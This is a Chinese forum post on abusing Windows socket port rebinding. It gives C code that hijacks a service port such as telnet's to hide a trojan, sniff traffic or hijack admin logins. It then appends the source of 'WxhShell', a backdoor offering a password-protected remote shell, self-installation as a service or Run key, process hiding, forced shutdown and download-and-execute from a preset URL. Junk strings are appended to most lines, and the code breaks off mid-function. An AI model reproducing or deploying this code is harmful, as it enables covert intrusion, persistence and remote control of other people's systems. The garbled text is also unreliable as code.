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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: B>mQ\Q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h P1|l  
#.='dSj  
  saddr.sin_family = AF_INET; gi6_la+  
K%k,-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,@;<u'1\G  
[y:LA ~q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \'KzSkC8  
EAkP[au.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 L!G3u/  
zN:752d^+r  
  这意味着什么?意味着可以进行如下的攻击: ')aYkO{%sb  
X<{m;T `  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DXGO-]!!0  
y*D 8XI$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) s^ a`=kO  
b1OB'P8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 DNy)\+[  
# 9t/j`{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   ?.s*)n  
nr^p H.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vKt_z@{{L  
8HOmWQS  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 a~|ge9? (  
a=O!\J  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6p@ts`#  
%xRS9A 4  
  #include %'HUC>ChN  
  #include >']H)c'2  
  #include 9<ayQ*  
  #include    |H4'*NP"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }VGiT~2$  
  int main() Uww^Sq  
  { 1}pR')YL[  
  WORD wVersionRequested; 'FhnSNT(4=  
  DWORD ret; =jN]ckn  
  WSADATA wsaData; Q'VS]n  
  BOOL val; \) ;rOqh  
  SOCKADDR_IN saddr; 4Rn i7qH  
  SOCKADDR_IN scaddr; q|l|gY1g)  
  int err; {V8Pn2mlo  
  SOCKET s; M@\'Y$)Y{  
  SOCKET sc; ]@>|y2  
  int caddsize; OOCeZ3yF(  
  HANDLE mt; kWd'gftQ  
  DWORD tid;   t/Fe"T[,V  
  wVersionRequested = MAKEWORD( 2, 2 ); Q  [{vU  
  err = WSAStartup( wVersionRequested, &wsaData ); F*4+7$E0B  
  if ( err != 0 ) { 1|VJND  
  printf("error!WSAStartup failed!\n"); NP8TF*5V  
  return -1; /HRaX!|E#  
  } 0FOf *Lz  
  saddr.sin_family = AF_INET; ?MH4<7?"  
   ) YFs  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1%,Z&@^j  
=+ p+_}C  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); y6/X!+3+  
  saddr.sin_port = htons(23); CkU=0mcY  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) : [y(<TLw  
  { m"R(_E5  
  printf("error!socket failed!\n"); F?=u:  
  return -1; 8##jd[o&p~  
  } 4lA+V,#  
  val = TRUE; K^H t$04  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 z"3c+?2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (zBQ^97]  
  { ={^#E?  
  printf("error!setsockopt failed!\n"); oK6lCGM5  
  return -1; tOw 0(-:iq  
  } S2)S/ nf  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _LNPB$P  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7;NV 1RV  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^&iV%vQ[  
u*{ _WL[(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .a*$WGb  
  { 1' m $_  
  ret=GetLastError(); }Kt?0  
  printf("error!bind failed!\n"); %5%Wo(W'  
  return -1; 8:xo ~Vc  
  } Bv8C_-lV/  
  listen(s,2); VaxO L61xE  
  while(1) __j8jEV  
  { .TC `\mV  
  caddsize = sizeof(scaddr); sd53 _s V  
  //接受连接请求 w|C~{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); aB^G  
  if(sc!=INVALID_SOCKET) {O) &5  
  { W#j,{&KVn  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); h>:RCpC  
  if(mt==NULL) !\1W*6U8;  
  { E,7~kd~y`  
  printf("Thread Creat Failed!\n"); l{9h8]^  
  break; ]'(7T#  
  } tHbPd.^  
  } 9eiBj  
  CloseHandle(mt); l,wN@Nk  
  } N_D+d4@  
  closesocket(s); 2(Uz9!<V  
  WSACleanup(); 2 -aYqMmT;  
  return 0; sv"mba.J  
  }   M%xL K7  
  DWORD WINAPI ClientThread(LPVOID lpParam) s2~dmZ_B|_  
  { *GP_ut%  
  SOCKET ss = (SOCKET)lpParam; GDp p`'\  
  SOCKET sc; /Ph&:n\4  
  unsigned char buf[4096]; .E#Sm?gK  
  SOCKADDR_IN saddr; 5Q`n6x|  
  long num; (JW?azU  
  DWORD val; -P>=WZu  
  DWORD ret; :-La $I>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 RH]>>tJ^e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   nM-SDVFM  
  saddr.sin_family = AF_INET; DWQQ615i  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); mndl~/  
  saddr.sin_port = htons(23); l-}5@D[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pm~;:#z7  
  { N+qLxk  
  printf("error!socket failed!\n"); Aq%^>YAp  
  return -1; @T1+b"TC  
  } Z&jb,eh2  
  val = 100; '-33iG  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  /;6@M=6u  
  { 0WE1}.J<  
  ret = GetLastError(); ?7)(qnbe"  
  return -1; R2THL  
  } Wx$q:$h@q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FJ8@b  
  { K#hYbDm  
  ret = GetLastError(); qO{ ZZ*  
  return -1; Lo5@zNt%W  
  } y[6&46r7D  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jUvA<r  
  { 3DC%I79  
  printf("error!socket connect failed!\n"); Qk.Q9@3W  
  closesocket(sc); puN=OX}C  
  closesocket(ss); M5WtGIV  
  return -1; QhQ"OVFr#  
  } 8`2<g0V2  
  while(1) ,G|aLBn  
  { 6F.7Ws <  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 nDB 2>J  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1]Q 2qs  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 kN |5 J  
  num = recv(ss,buf,4096,0); ]/Yy-T#@  
  if(num>0) dyiEK)$h  
  send(sc,buf,num,0); ?%/u/*9rj  
  else if(num==0) X2dc\v.x  
  break; ^y0C5Bl;  
  num = recv(sc,buf,4096,0); [Cj)@OC  
  if(num>0) !{tiTA  
  send(ss,buf,num,0); )9L pX  
  else if(num==0) 5b1uD>,;y  
  break; rjHIQC C  
  } 4bev* [k  
  closesocket(ss); $KWYe{#  
  closesocket(sc); Yz-JI=  
  return 0 ; Fra>|;do  
  } x X/s1(P  
IAF;mv}'  
lI_Yb:  
========================================================== M'zS7=F!:  
/CI%XocB  
下边附上一个代码,,WXhSHELL ?koxt4 4  
0T#xM(q[K  
========================================================== +O$:  
N1N{Ol'  
#include "stdafx.h" 2k}-25xxL  
)HX:U0  
#include <stdio.h> (s$u_aq 77  
#include <string.h> ? x"HX|n  
#include <windows.h> KBw9(  
#include <winsock2.h> xDGS`U  
#include <winsvc.h> guOSO@  
#include <urlmon.h> Kka8cG  
,{{#a*nd  
#pragma comment (lib, "Ws2_32.lib") H >:4MY  
#pragma comment (lib, "urlmon.lib") a=*ALd_&0  
MuoctW  
#define MAX_USER   100 // 最大客户端连接数 ;=-j;x  
#define BUF_SOCK   200 // sock buffer  /MqXwUbO  
#define KEY_BUFF   255 // 输入 buffer &^7uv0M<y  
jc&/}o$K  
#define REBOOT     0   // 重启 7AO3-; l]  
#define SHUTDOWN   1   // 关机 ]oeuIRyQ  
J, 0pe\5  
#define DEF_PORT   5000 // 监听端口 @>G&7r:U  
!/6\m!e|1R  
#define REG_LEN     16   // 注册表键长度 TD{=L*{+  
#define SVC_LEN     80   // NT服务名长度 2:iYYRrg  
inPE/Ux  
// 从dll定义API wD6!#t k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |O(-CDQe  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8wX+ZL: 9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yS)- &t!;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w}j6 .r  
i}`_H^  
// wxhshell配置信息 UXwB$@8  
struct WSCFG { B)rr7B  
  int ws_port;         // 监听端口 UW hn1N  
  char ws_passstr[REG_LEN]; // 口令 ,rZn`9  
  int ws_autoins;       // 安装标记, 1=yes 0=no jF2[bzY4  
  char ws_regname[REG_LEN]; // 注册表键名 hqs$yb  
  char ws_svcname[REG_LEN]; // 服务名 sq~+1(X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }KA-t}8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T)(e!Xz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @P_C%}(<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j,=*WG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?""\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F_nZvv[H?  
tE]5@b,R  
}; w|}W(=#  
qDRNtFa  
// default Wxhshell configuration \D,M2vC~G  
struct WSCFG wscfg={DEF_PORT, =R&)hlm  
    "xuhuanlingzhe", }dX/Y /  
    1, ~v2V`lxh  
    "Wxhshell", r(: 8!=~K  
    "Wxhshell", w%3Fg~Up  
            "WxhShell Service", \E$1lc  
    "Wrsky Windows CmdShell Service", ,u}<Ws8N  
    "Please Input Your Password: ", OL=ET)Y  
  1, 8:HSPDU.  
  "http://www.wrsky.com/wxhshell.exe", R:w %2Y  
  "Wxhshell.exe" ImWXzg3@{  
    }; EO#gUv  
Fn86E dFM  
// 消息定义模块 d7"U WY^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bQwdgc),s{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L$1K7<i.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d"H<e}D  
char *msg_ws_ext="\n\rExit."; _W0OM[  
char *msg_ws_end="\n\rQuit."; D =r-  
char *msg_ws_boot="\n\rReboot..."; H>?:U]  
char *msg_ws_poff="\n\rShutdown..."; J>=1dCK  
char *msg_ws_down="\n\rSave to "; k42b:W5%  
Es'-wr\Hm  
char *msg_ws_err="\n\rErr!"; :be:-b%K  
char *msg_ws_ok="\n\rOK!"; (R_CUH  
?R;nL{  
char ExeFile[MAX_PATH]; 3sZ,|,ueD  
int nUser = 0; uAu( +zV2  
HANDLE handles[MAX_USER]; $gVLk.  
int OsIsNt; %z*29iKlI  
)A="eW_>  
SERVICE_STATUS       serviceStatus; 9&jQ 35  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f}[H `OF  
#P(l2(  
// 函数声明 })@tA<+  
int Install(void); n{dP@_>WS  
int Uninstall(void); [ULwzjss#L  
int DownloadFile(char *sURL, SOCKET wsh); 8f?rEI\0GD  
int Boot(int flag); m@ i2#  
void HideProc(void); hPa n  
int GetOsVer(void); 0VzXDb>`  
int Wxhshell(SOCKET wsl); nQ5N=l  
void TalkWithClient(void *cs); 7p)N_cJD  
int CmdShell(SOCKET sock); aZ`<PdA  
int StartFromService(void); 3az$:[Und}  
int StartWxhshell(LPSTR lpCmdLine); 4|nQ=bIau  
X[V?T>jsM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yeh8z:5Z O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RcgRaQ2^  
^vpIZjN  
// 数据结构和表定义 n`%2Mj c  
SERVICE_TABLE_ENTRY DispatchTable[] = su&t7rJ  
{ ZB828T3  
{wscfg.ws_svcname, NTServiceMain}, .i$,}wtw  
{NULL, NULL} bE?'C h  
}; UqN{JG:#.  
\V= &&(n#  
// 自我安装 N~;*bvW{  
int Install(void) R'zu"I  
{ \e<mSR  
  char svExeFile[MAX_PATH]; %c]nWR+/  
  HKEY key; ;a |`s  
  strcpy(svExeFile,ExeFile); =H[\%O~?b  
[s~JceUyX  
// 如果是win9x系统,修改注册表设为自启动 )ZGYhE  
if(!OsIsNt) { [-\({<t3x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *=Doe2(!C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); );nz4/V  
  RegCloseKey(key);  kI%peb?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aD2*.ln><  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tM)Iir*U#  
  RegCloseKey(key); QU.0Elw  
  return 0; ,j y<o+!  
    } M;*$gV<x  
  } GuT6K}~|D  
} e^ QVn\<c  
else { @g4Shlx|  
wf?u (3/%  
// 如果是NT以上系统,安装为系统服务 AH^e]<2-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tQrS3Hz'nA  
if (schSCManager!=0) .`,F  
{ Uo2+:p  
  SC_HANDLE schService = CreateService Vvyj  
  ( QC{u|  
  schSCManager, |8H_-n  
  wscfg.ws_svcname, U;g S[8,p  
  wscfg.ws_svcdisp, Sk\n;mL:  
  SERVICE_ALL_ACCESS, )\wuesAO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9RQU?  
  SERVICE_AUTO_START, Gzw@w{JBL  
  SERVICE_ERROR_NORMAL, # :#M{1I  
  svExeFile, }f#_4ACaD  
  NULL, FEF"\O|Q  
  NULL, L}$z/jo  
  NULL, +{.780|  
  NULL, }X]\VSF{  
  NULL zsDocR   
  ); ["a"x>X&  
  if (schService!=0) g:_hj_1Y M  
  { /v|Onq1Y4  
  CloseServiceHandle(schService); C/G]v*MBQ  
  CloseServiceHandle(schSCManager); aG(hs J)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w9f _b3  
  strcat(svExeFile,wscfg.ws_svcname); 9_ZBV{   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yHNuU)Ft  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7X}TB\N1  
  RegCloseKey(key); ]]TqP{H  
  return 0; x vmt.>f  
    } R,F gl2  
  } %X>FVlPm  
  CloseServiceHandle(schSCManager); gO='A(Y  
} WULAty  
} zBY~lNB  
t<638`{kk  
return 1; q$gz_nVq,b  
} nIn2 *r  
R`#W wx>b  
// 自我卸载 oQT2S>cm^  
int Uninstall(void) B>z?ClH$R  
{ x7dEo%j  
  HKEY key; 8[zb{PRu  
>;4!O%F  
if(!OsIsNt) { v vq/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sb^mLH] 3  
  RegDeleteValue(key,wscfg.ws_regname); l!?yu]Yon  
  RegCloseKey(key); F2;:vTA>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OQp, 3 M{_  
  RegDeleteValue(key,wscfg.ws_regname); NF+<#*1  
  RegCloseKey(key); FI"HJwAs  
  return 0; f+x ;:  
  } l%~lz[  
} A&zS'toU  
} sI,W%I':d  
else { PcC/_+2  
,%[4j9#!_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "R[l ZJ@  
if (schSCManager!=0) `G!M>h@  
{ j*400  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^lj7(  
  if (schService!=0)  $dQIs:  
  { ObG=>WPJa  
  if(DeleteService(schService)!=0) { j6S"UwJjp  
  CloseServiceHandle(schService); q0&$7GH4  
  CloseServiceHandle(schSCManager); UKtSm%\  
  return 0; y$b]7O  
  } < Ek/8x  
  CloseServiceHandle(schService); HYCuK48F[_  
  } qMP1k7uG)  
  CloseServiceHandle(schSCManager); G.\l qYrXU  
} Kqg!,Sn|  
} 6na^]t~ncm  
TL0[@rr4  
return 1; WsI>n  
} };,/0Fu  
8'#/LA[uPe  
// 从指定url下载文件 jlqv2V7=/  
int DownloadFile(char *sURL, SOCKET wsh) /,s[#J   
{ }Fa%%}  
  HRESULT hr; J?&l*_m;t  
char seps[]= "/"; V'G Ju  
char *token; ZmEEj-*7s  
char *file; DyO$P#~?  
char myURL[MAX_PATH]; G2:%g(  
char myFILE[MAX_PATH]; mi,&0xDe a  
9\JQ7$B  
strcpy(myURL,sURL); SA;#aj}rV  
  token=strtok(myURL,seps); R>/ NE!q  
  while(token!=NULL) xY<{qHcX  
  { Vh|\_~9  
    file=token; A+getdr  
  token=strtok(NULL,seps); 2;2}wM[  
  } Jr;jRe`4c  
,7_4 z]jK  
GetCurrentDirectory(MAX_PATH,myFILE); h-#1U3d  
strcat(myFILE, "\\"); LP];x3  
strcat(myFILE, file); "V& I^YSc>  
  send(wsh,myFILE,strlen(myFILE),0); |[$~\MU  
send(wsh,"...",3,0); 7f{=w, U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \ZI'|Ad  
  if(hr==S_OK) ;# uZhd  
return 0; 5!X1G8h)uy  
else O|kOI?f  
return 1; T,%j\0  
K`g7$r)U[  
} 3g~'5Ao  
_S}A=hK'  
// 系统电源模块 V  ~@^`Gd  
int Boot(int flag) . pzC5Ah  
{ z (?=Iv3  
  HANDLE hToken; m ci/'b Xt  
  TOKEN_PRIVILEGES tkp; -7 U| a/  
he(A3{'  
  if(OsIsNt) { `=lc<T^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "N?+VkZEv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u #w29Pm  
    tkp.PrivilegeCount = 1; oU*45B`"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G\de2Q"d:O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r|u MovnV  
if(flag==REBOOT) { FRu]kZv2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'o_:^'c  
  return 0; P!G858V(  
} 0Hxmm@X2  
else { jho**TQ P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Om;&_!i  
  return 0; !%)F J:p  
} $D'- k]E[H  
  } BZ54*\t  
  else { {X(:jAy  
if(flag==REBOOT) { `-h8vj5uG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h:Gu`+D>W  
  return 0; z`UhB%-?  
} :a ->0 l  
else { pi<TFe@eG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) anMF-x4/*q  
  return 0; jRSUp E8  
} }|u4 W?H  
} ,EGQ@:3/  
?']5dD  
return 1; w-wV3Q6X  
} :L44]K5FL  
mpPdG  
// win9x进程隐藏模块 Q/>{f0  
void HideProc(void) C CBfKp  
{ #S&Tkip]"W  
/DQaGq/Ld  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2'EUy@0  
  if ( hKernel != NULL ) CHrFM@CM  
  { ,(8;y=wux  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ( +pLA"xq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n!p<A.O7@  
    FreeLibrary(hKernel); AP77a*@8  
  }  ks$JP6  
[W %$qZlP  
return; #]nx!*JNZ  
} =6"2UC&  
QUU;g2k  
// 获取操作系统版本 vVE2m=!v  
int GetOsVer(void) 1N7Kv4,  
{ 5?hw !  
  OSVERSIONINFO winfo; %?e& WLS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N(I&  
  GetVersionEx(&winfo); %3NqSiMs  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <B9C*M"4%  
  return 1; *s9C!w YMZ  
  else 8!Vl   
  return 0; <Utnz)  
} B2-V@06  
Ecd;<$tk  
// 客户端句柄模块 GrUCZ<S  
int Wxhshell(SOCKET wsl) `c<;DhNO  
{ _%5R o6  
  SOCKET wsh; ]]Cb$$Td  
  struct sockaddr_in client; O8B\{T1  
  DWORD myID; &f ^,la  
 =-IbS}3  
  while(nUser<MAX_USER) tjupJ*Rt  
{ C:PMewn  
  int nSize=sizeof(client); J ]nohICe  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uc;8 K,[t  
  if(wsh==INVALID_SOCKET) return 1; n4}B r;%  
\v'p/G)g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !%"8|)CAr  
if(handles[nUser]==0) "jG}B.l=,  
  closesocket(wsh); G6T_O  
else xuqv6b.  
  nUser++; a)wJT`xu  
  }  ,%uo6%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eeyHy"@  
1oc3$A  
  return 0; |&RU/a  
} N<~t3/Nm  
28 ?\  
// 关闭 socket &l!4mxwr`  
void CloseIt(SOCKET wsh) <YdE1{fm  
{ z^'gx@YD*v  
closesocket(wsh); S:h{2{  
nUser--; ~`aa5;Ab_  
ExitThread(0); 0u;4%}pD  
} |Y?H A&  
;M)QwF1  
// 客户端请求句柄 <1uZa  
void TalkWithClient(void *cs) rJGf .qJJ  
{ wK?vPS  
Tj:B!>>  
  SOCKET wsh=(SOCKET)cs; |S_eDjF  
  char pwd[SVC_LEN]; Mu+0<>   
  char cmd[KEY_BUFF]; ~_/(t'9  
char chr[1]; Qk:Y2mL  
int i,j; 8fl`r~bqZ  
ZrsBm_Rx  
  while (nUser < MAX_USER) { R%?9z 8-  
gt@m?w(  
if(wscfg.ws_passstr) { kqFP)!37  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '<"s \,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @7IIM{  
  //ZeroMemory(pwd,KEY_BUFF); f&Gt|  
      i=0; }H^+A77v  
  while(i<SVC_LEN) { )h7<?@wv&  
e)d`pQ6  
  // 设置超时 lhy*h_>  
  fd_set FdRead; ?l9XAW t\  
  struct timeval TimeOut; D]zwl@sRX:  
  FD_ZERO(&FdRead); nAv#?1cjz  
  FD_SET(wsh,&FdRead); U/!TKic+  
  TimeOut.tv_sec=8; 37s0e;aF  
  TimeOut.tv_usec=0; ,J+}rPe"sf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'uBu6G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N sXHO  
$g> IyT[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aAD^^l#  
  pwd=chr[0]; ]n6#VTz*  
  if(chr[0]==0xd || chr[0]==0xa) { ]s<[D$ <,  
  pwd=0; t'n pG}`tE  
  break; fU/>z]K  
  } )Y"+,$$>Y`  
  i++; EV]1ml k$  
    } hgPa6Kd  
fD[*_^;h)  
  // 如果是非法用户,关闭 socket 5IE#\FITO|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZrpU <   
} IxY|>5z  
b,7k)ND1F  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !2%HhiB'   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); os=e|vkB*  
,Lr. 9I.  
while(1) { ~%&LTX0s|  
Hj^1or3R]  
  ZeroMemory(cmd,KEY_BUFF); :D~DU,e'  
-t!~%_WCv  
      // 自动支持客户端 telnet标准   ekWD5,G  
  j=0; O%Xf!4Z  
  while(j<KEY_BUFF) { d; boIP`M;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s6 uG`F"  
  cmd[j]=chr[0]; LSL/ZvSP  
  if(chr[0]==0xa || chr[0]==0xd) { akp-zn&je  
  cmd[j]=0; =$'6(aDH  
  break; :CG`t?N9M  
  } ^aItoJq  
  j++; 0"<H;7K#W  
    } V?6a 8lJ  
ZMQ Zs~;~d  
  // 下载文件 ,Vc6Gwm  
  if(strstr(cmd,"http://")) { wr$("A(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6m}Ev95  
  if(DownloadFile(cmd,wsh)) rV` #[d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J,'M4O\S  
  else 'j#*6xD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SW@$ci  
  } , qMzWa  
  else { fK>L!=Q  
slCx w$  
    switch(cmd[0]) { *#,7d"6W5  
  n(1l}TJy  
  // 帮助 J!dm-L  
  case '?': { ,LHn90S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .s?L^Z^  
    break; ~~D{spMVO  
  } ZgTW.<.%2  
  // 安装 {'7B6  
  case 'i': { - YEZ]:"  
    if(Install()) b/+u4'"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G/)O@Ugp  
    else 6AAz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?1~`*LE  
    break; 03$mYS_?  
    } R`NYEptJ  
  // 卸载 5TH~.^`Fi  
  case 'r': { *7uH-u"5d  
    if(Uninstall()) ZF!h<h&,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @a! #G  
    else Dj"F\j 1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wf+cDpK  
    break; $0W|26;  
    } >FeX<L  
  // 显示 wxhshell 所在路径 Cjn#00  
  case 'p': { h79}qU  
    char svExeFile[MAX_PATH]; yb<fpM  
    strcpy(svExeFile,"\n\r"); ` 'DmDg  
      strcat(svExeFile,ExeFile); 5AFJC?   
        send(wsh,svExeFile,strlen(svExeFile),0); k =>oO9`  
    break; (p"%O  
    } 4>wP7`/+y  
  // 重启 OIGY`   
  case 'b': { Zu*F#s!tUI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y`~Ut:fZ  
    if(Boot(REBOOT)) HY56"LZ$(}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <$D`Z-6  
    else { sA+ }TNhq  
    closesocket(wsh); /:cd\A}  
    ExitThread(0); P\E<9*V  
    } ]%;:7?5l  
    break; 9)l$ aBa  
    } #|uCgdi  
  // 关机 tHU2/V:R  
  case 'd': { U7?;UCmX  
